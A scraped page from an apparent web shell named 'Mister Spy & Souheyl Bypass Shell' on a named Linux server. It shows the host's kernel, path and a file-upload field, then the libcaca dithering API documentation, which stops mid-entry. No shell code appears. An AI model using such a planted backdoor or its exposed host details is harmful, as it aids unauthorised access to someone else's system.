Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /usr/share/doc/libcaca-dev/html/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //usr/share/doc/libcaca-dev/html/group__caca__dither.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
    <title>libcaca documentation</title>
    <link href="doxygen.css" rel="stylesheet" type="text/css">
  </head>
  <body>
<!-- Generated by Doxygen 1.8.17 -->
</div><!-- top -->
<div class="header">
  <div class="summary">
<a href="#groups">Modules</a> &#124;
<a href="#func-members">Functions</a>  </div>
  <div class="headertitle">
<div class="title">libcaca bitmap dithering<div class="ingroups"><a class="el" href="group__caca__attr.html">libcaca attribute definitions</a> &raquo; <a class="el" href="group__libcaca.html">libcaca basic functions</a> &raquo; <a class="el" href="group__caca__canvas.html">libcaca canvas drawing</a> &raquo; <a class="el" href="group__caca__dirty.html">libcaca dirty rectangle manipulation</a> &raquo; <a class="el" href="group__caca__transform.html">libcaca canvas transformation</a> &raquo; <a class="el" href="group__caca__attributes.html">libcaca attribute conversions</a> &raquo; <a class="el" href="group__caca__charset.html">libcaca character set conversions</a> &raquo; <a class="el" href="group__caca__primitives.html">libcaca primitives drawing</a> &raquo; <a class="el" href="group__caca__frame.html">libcaca canvas frame handling</a></div></div>  </div>
</div><!--header-->
<div class="contents">

<p>These functions provide high level routines for dither allocation and rendering.  
<a href="#details">More...</a></p>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="groups"></a>
Modules</h2></td></tr>
<tr class="memitem:group__caca__charfont"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__charfont.html">libcaca character font handling</a></td></tr>
<tr class="memdesc:group__caca__charfont"><td class="mdescLeft">&#160;</td><td class="mdescRight">These functions provide character font handling routines. <br /></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="func-members"></a>
Functions</h2></td></tr>
<tr class="memitem:ga08c338d4fb79aff467f4056c857b12df"><td class="memItemLeft" align="right" valign="top">__extern <a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga08c338d4fb79aff467f4056c857b12df">caca_create_dither</a> (int, int, int, int, uint32_t, uint32_t, uint32_t, uint32_t)</td></tr>
<tr class="memdesc:ga08c338d4fb79aff467f4056c857b12df"><td class="mdescLeft">&#160;</td><td class="mdescRight">Create an internal dither object.  <a href="group__caca__dither.html#ga08c338d4fb79aff467f4056c857b12df">More...</a><br /></td></tr>
<tr class="separator:ga08c338d4fb79aff467f4056c857b12df"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gaee20b3233a6dbe8147c36f82039e481a"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#gaee20b3233a6dbe8147c36f82039e481a">caca_set_dither_palette</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *, uint32_t r[], uint32_t g[], uint32_t b[], uint32_t a[])</td></tr>
<tr class="memdesc:gaee20b3233a6dbe8147c36f82039e481a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Set the palette of an 8bpp dither object.  <a href="group__caca__dither.html#gaee20b3233a6dbe8147c36f82039e481a">More...</a><br /></td></tr>
<tr class="separator:gaee20b3233a6dbe8147c36f82039e481a"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga2596a6934b0a57e8a0cb3e1c9ba3a15d"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga2596a6934b0a57e8a0cb3e1c9ba3a15d">caca_set_dither_brightness</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *, float)</td></tr>
<tr class="memdesc:ga2596a6934b0a57e8a0cb3e1c9ba3a15d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Set the brightness of a dither object.  <a href="group__caca__dither.html#ga2596a6934b0a57e8a0cb3e1c9ba3a15d">More...</a><br /></td></tr>
<tr class="separator:ga2596a6934b0a57e8a0cb3e1c9ba3a15d"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga860ea183ad7477c525716c29a81986aa"><td class="memItemLeft" align="right" valign="top">__extern float&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga860ea183ad7477c525716c29a81986aa">caca_get_dither_brightness</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:ga860ea183ad7477c525716c29a81986aa"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get the brightness of a dither object.  <a href="group__caca__dither.html#ga860ea183ad7477c525716c29a81986aa">More...</a><br /></td></tr>
<tr class="separator:ga860ea183ad7477c525716c29a81986aa"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga517a2a69c6b2e1772ddb795cb55996bb"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga517a2a69c6b2e1772ddb795cb55996bb">caca_set_dither_gamma</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *, float)</td></tr>
<tr class="memdesc:ga517a2a69c6b2e1772ddb795cb55996bb"><td class="mdescLeft">&#160;</td><td class="mdescRight">Set the gamma of a dither object.  <a href="group__caca__dither.html#ga517a2a69c6b2e1772ddb795cb55996bb">More...</a><br /></td></tr>
<tr class="separator:ga517a2a69c6b2e1772ddb795cb55996bb"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gac6bd45a095a0bc9f9716cb543045f646"><td class="memItemLeft" align="right" valign="top">__extern float&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#gac6bd45a095a0bc9f9716cb543045f646">caca_get_dither_gamma</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:gac6bd45a095a0bc9f9716cb543045f646"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get the gamma of a dither object.  <a href="group__caca__dither.html#gac6bd45a095a0bc9f9716cb543045f646">More...</a><br /></td></tr>
<tr class="separator:gac6bd45a095a0bc9f9716cb543045f646"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gac04772ed41dce6f3d613e8efd25c3038"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#gac04772ed41dce6f3d613e8efd25c3038">caca_set_dither_contrast</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *, float)</td></tr>
<tr class="memdesc:gac04772ed41dce6f3d613e8efd25c3038"><td class="mdescLeft">&#160;</td><td class="mdescRight">Set the contrast of a dither object.  <a href="group__caca__dither.html#gac04772ed41dce6f3d613e8efd25c3038">More...</a><br /></td></tr>
<tr class="separator:gac04772ed41dce6f3d613e8efd25c3038"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga059d26f5964cc6eb809be99a43155383"><td class="memItemLeft" align="right" valign="top">__extern float&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga059d26f5964cc6eb809be99a43155383">caca_get_dither_contrast</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:ga059d26f5964cc6eb809be99a43155383"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get the contrast of a dither object.  <a href="group__caca__dither.html#ga059d26f5964cc6eb809be99a43155383">More...</a><br /></td></tr>
<tr class="separator:ga059d26f5964cc6eb809be99a43155383"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga6e11d68966e0b2d709b377385fbcabd4"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga6e11d68966e0b2d709b377385fbcabd4">caca_set_dither_antialias</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *, char const *)</td></tr>
<tr class="memdesc:ga6e11d68966e0b2d709b377385fbcabd4"><td class="mdescLeft">&#160;</td><td class="mdescRight">Set dither antialiasing.  <a href="group__caca__dither.html#ga6e11d68966e0b2d709b377385fbcabd4">More...</a><br /></td></tr>
<tr class="separator:ga6e11d68966e0b2d709b377385fbcabd4"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gadb1ed7747b32453ac28a523314961757"><td class="memItemLeft" align="right" valign="top">__extern const char *const *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#gadb1ed7747b32453ac28a523314961757">caca_get_dither_antialias_list</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:gadb1ed7747b32453ac28a523314961757"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get available antialiasing methods.  <a href="group__caca__dither.html#gadb1ed7747b32453ac28a523314961757">More...</a><br /></td></tr>
<tr class="separator:gadb1ed7747b32453ac28a523314961757"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga95581fc0dee2a0d49cbf9ec5782571c3"><td class="memItemLeft" align="right" valign="top">__extern const char *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga95581fc0dee2a0d49cbf9ec5782571c3">caca_get_dither_antialias</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:ga95581fc0dee2a0d49cbf9ec5782571c3"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get current antialiasing method.  <a href="group__caca__dither.html#ga95581fc0dee2a0d49cbf9ec5782571c3">More...</a><br /></td></tr>
<tr class="separator:ga95581fc0dee2a0d49cbf9ec5782571c3"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gae4a7a941295c958221d9010070f0c35c"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#gae4a7a941295c958221d9010070f0c35c">caca_set_dither_color</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *, char const *)</td></tr>
<tr class="memdesc:gae4a7a941295c958221d9010070f0c35c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Choose colours used for dithering.  <a href="group__caca__dither.html#gae4a7a941295c958221d9010070f0c35c">More...</a><br /></td></tr>
<tr class="separator:gae4a7a941295c958221d9010070f0c35c"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gad4be3ba801f9f5258b7193d8b0efdd74"><td class="memItemLeft" align="right" valign="top">__extern const char *const *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#gad4be3ba801f9f5258b7193d8b0efdd74">caca_get_dither_color_list</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:gad4be3ba801f9f5258b7193d8b0efdd74"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get available colour modes.  <a href="group__caca__dither.html#gad4be3ba801f9f5258b7193d8b0efdd74">More...</a><br /></td></tr>
<tr class="separator:gad4be3ba801f9f5258b7193d8b0efdd74"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga5ec4d79f9fdb93e2f79e3f4b83289a3f"><td class="memItemLeft" align="right" valign="top">__extern const char *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga5ec4d79f9fdb93e2f79e3f4b83289a3f">caca_get_dither_color</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:ga5ec4d79f9fdb93e2f79e3f4b83289a3f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get current colour mode.  <a href="group__caca__dither.html#ga5ec4d79f9fdb93e2f79e3f4b83289a3f">More...</a><br /></td></tr>
<tr class="separator:ga5ec4d79f9fdb93e2f79e3f4b83289a3f"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga24068afd82cf4d2ee62575b811b276ec"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga24068afd82cf4d2ee62575b811b276ec">caca_set_dither_charset</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *, char const *)</td></tr>
<tr class="memdesc:ga24068afd82cf4d2ee62575b811b276ec"><td class="mdescLeft">&#160;</td><td class="mdescRight">Choose characters used for dithering.  <a href="group__caca__dither.html#ga24068afd82cf4d2ee62575b811b276ec">More...</a><br /></td></tr>
<tr class="separator:ga24068afd82cf4d2ee62575b811b276ec"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga1258f50cebf97b055ac7b40e58451e68"><td class="memItemLeft" align="right" valign="top">__extern const char *const *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga1258f50cebf97b055ac7b40e58451e68">caca_get_dither_charset_list</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:ga1258f50cebf97b055ac7b40e58451e68"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get available dither character sets.  <a href="group__caca__dither.html#ga1258f50cebf97b055ac7b40e58451e68">More...</a><br /></td></tr>
<tr class="separator:ga1258f50cebf97b055ac7b40e58451e68"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga4064bd8fb7fbdfa023385a10454f9e75"><td class="memItemLeft" align="right" valign="top">__extern const char *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga4064bd8fb7fbdfa023385a10454f9e75">caca_get_dither_charset</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:ga4064bd8fb7fbdfa023385a10454f9e75"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get current character set.  <a href="group__caca__dither.html#ga4064bd8fb7fbdfa023385a10454f9e75">More...</a><br /></td></tr>
<tr class="separator:ga4064bd8fb7fbdfa023385a10454f9e75"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga4628a5089d92b8f92c71df9c4c921081"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga4628a5089d92b8f92c71df9c4c921081">caca_set_dither_algorithm</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *, char const *)</td></tr>
<tr class="memdesc:ga4628a5089d92b8f92c71df9c4c921081"><td class="mdescLeft">&#160;</td><td class="mdescRight">Set dithering algorithm.  <a href="group__caca__dither.html#ga4628a5089d92b8f92c71df9c4c921081">More...</a><br /></td></tr>
<tr class="separator:ga4628a5089d92b8f92c71df9c4c921081"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga9221825f57c7acdb71c0db4cc89f8975"><td class="memItemLeft" align="right" valign="top">__extern const char *const *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga9221825f57c7acdb71c0db4cc89f8975">caca_get_dither_algorithm_list</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:ga9221825f57c7acdb71c0db4cc89f8975"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get dithering algorithms.  <a href="group__caca__dither.html#ga9221825f57c7acdb71c0db4cc89f8975">More...</a><br /></td></tr>
<tr class="separator:ga9221825f57c7acdb71c0db4cc89f8975"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga09d2cd460cd89aad847943a2e3d4cbfa"><td class="memItemLeft" align="right" valign="top">__extern const char *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga09d2cd460cd89aad847943a2e3d4cbfa">caca_get_dither_algorithm</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *)</td></tr>
<tr class="memdesc:ga09d2cd460cd89aad847943a2e3d4cbfa"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get current dithering algorithm.  <a href="group__caca__dither.html#ga09d2cd460cd89aad847943a2e3d4cbfa">More...</a><br /></td></tr>
<tr class="separator:ga09d2cd460cd89aad847943a2e3d4cbfa"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gae7e10436664deb729029918c6275edb6"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#gae7e10436664deb729029918c6275edb6">caca_dither_bitmap</a> (<a class="el" href="caca_8h.html#aae0f6938d08e6e0abbcd5a8c06504ab8">caca_canvas_t</a> *, int, int, int, int, <a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *, void const *)</td></tr>
<tr class="memdesc:gae7e10436664deb729029918c6275edb6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Dither a bitmap on the canvas.  <a href="group__caca__dither.html#gae7e10436664deb729029918c6275edb6">More...</a><br /></td></tr>
<tr class="separator:gae7e10436664deb729029918c6275edb6"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga5b23aea21bcbbcec02e45383721a00f6"><td class="memItemLeft" align="right" valign="top">__extern int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__caca__dither.html#ga5b23aea21bcbbcec02e45383721a00f6">caca_free_dither</a> (<a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *)</td></tr>
<tr class="memdesc:ga5b23aea21bcbbcec02e45383721a00f6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Free the memory associated with a dither.  <a href="group__caca__dither.html#ga5b23aea21bcbbcec02e45383721a00f6">More...</a><br /></td></tr>
<tr class="separator:ga5b23aea21bcbbcec02e45383721a00f6"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<h2 class="groupheader">Function Documentation</h2>
<a id="ga08c338d4fb79aff467f4056c857b12df"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga08c338d4fb79aff467f4056c857b12df">&#9670;&nbsp;</a></span>caca_create_dither()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern <a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a>* caca_create_dither </td>
          <td>(</td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>bpp</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>w</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>h</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>pitch</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">uint32_t&#160;</td>
          <td class="paramname"><em>rmask</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">uint32_t&#160;</td>
          <td class="paramname"><em>gmask</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">uint32_t&#160;</td>
          <td class="paramname"><em>bmask</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">uint32_t&#160;</td>
          <td class="paramname"><em>amask</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Create a dither structure from its coordinates (depth, width, height and pitch) and pixel mask values. If the depth is 8 bits per pixel, the mask values are ignored and the colour palette should be set using the <a class="el" href="group__caca__dither.html#gaee20b3233a6dbe8147c36f82039e481a" title="Set the palette of an 8bpp dither object.">caca_set_dither_palette()</a> function. For depths greater than 8 bits per pixel, a zero alpha mask causes the alpha values to be ignored.</p>
<p>If an error occurs, NULL is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Requested width, height, pitch or bits per pixel value was invalid.</li>
<li><code>ENOMEM</code> Not enough memory to allocate dither structure.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">bpp</td><td>Bitmap depth in bits per pixel. </td></tr>
    <tr><td class="paramname">w</td><td>Bitmap width in pixels. </td></tr>
    <tr><td class="paramname">h</td><td>Bitmap height in pixels. </td></tr>
    <tr><td class="paramname">pitch</td><td>Bitmap pitch in bytes. </td></tr>
    <tr><td class="paramname">rmask</td><td>Bitmask for red values. </td></tr>
    <tr><td class="paramname">gmask</td><td>Bitmask for green values. </td></tr>
    <tr><td class="paramname">bmask</td><td>Bitmask for blue values. </td></tr>
    <tr><td class="paramname">amask</td><td>Bitmask for alpha values. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>Dither object upon success, NULL if an error occurred. </dd></dl>

</div>
</div>
<a id="gaee20b3233a6dbe8147c36f82039e481a"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gaee20b3233a6dbe8147c36f82039e481a">&#9670;&nbsp;</a></span>caca_set_dither_palette()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_set_dither_palette </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">uint32_t&#160;</td>
          <td class="paramname"><em>red</em>[], </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">uint32_t&#160;</td>
          <td class="paramname"><em>green</em>[], </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">uint32_t&#160;</td>
          <td class="paramname"><em>blue</em>[], </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">uint32_t&#160;</td>
          <td class="paramname"><em>alpha</em>[]&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Set the palette of an 8 bits per pixel bitmap. Values should be between 0 and 4095 (0xfff).</p>
<p>If an error occurs, -1 is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Dither bits per pixel value is not 8, or one of the pixel values was outside the range 0 - 4095.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
    <tr><td class="paramname">red</td><td>Array of 256 red values. </td></tr>
    <tr><td class="paramname">green</td><td>Array of 256 green values. </td></tr>
    <tr><td class="paramname">blue</td><td>Array of 256 blue values. </td></tr>
    <tr><td class="paramname">alpha</td><td>Array of 256 alpha values. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>0 in case of success, -1 if an error occurred. </dd></dl>

</div>
</div>
<a id="ga2596a6934b0a57e8a0cb3e1c9ba3a15d"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga2596a6934b0a57e8a0cb3e1c9ba3a15d">&#9670;&nbsp;</a></span>caca_set_dither_brightness()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_set_dither_brightness </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">float&#160;</td>
          <td class="paramname"><em>brightness</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Set the brightness of dither.</p>
<p>If an error occurs, -1 is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Brightness value was out of range.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
    <tr><td class="paramname">brightness</td><td>brightness value. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>0 in case of success, -1 if an error occurred. </dd></dl>

</div>
</div>
<a id="ga860ea183ad7477c525716c29a81986aa"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga860ea183ad7477c525716c29a81986aa">&#9670;&nbsp;</a></span>caca_get_dither_brightness()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern float caca_get_dither_brightness </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Get the brightness of the given dither object.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>Brightness value. </dd></dl>

</div>
</div>
<a id="ga517a2a69c6b2e1772ddb795cb55996bb"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga517a2a69c6b2e1772ddb795cb55996bb">&#9670;&nbsp;</a></span>caca_set_dither_gamma()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_set_dither_gamma </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">float&#160;</td>
          <td class="paramname"><em>gamma</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Set the gamma of the given dither object. A negative value causes colour inversion.</p>
<p>If an error occurs, -1 is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Gamma value was out of range.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
    <tr><td class="paramname">gamma</td><td>Gamma value. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>0 in case of success, -1 if an error occurred. </dd></dl>

</div>
</div>
<a id="gac6bd45a095a0bc9f9716cb543045f646"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gac6bd45a095a0bc9f9716cb543045f646">&#9670;&nbsp;</a></span>caca_get_dither_gamma()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern float caca_get_dither_gamma </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Get the gamma of the given dither object.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>Gamma value. </dd></dl>

</div>
</div>
<a id="gac04772ed41dce6f3d613e8efd25c3038"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gac04772ed41dce6f3d613e8efd25c3038">&#9670;&nbsp;</a></span>caca_set_dither_contrast()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_set_dither_contrast </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">float&#160;</td>
          <td class="paramname"><em>contrast</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Set the contrast of dither.</p>
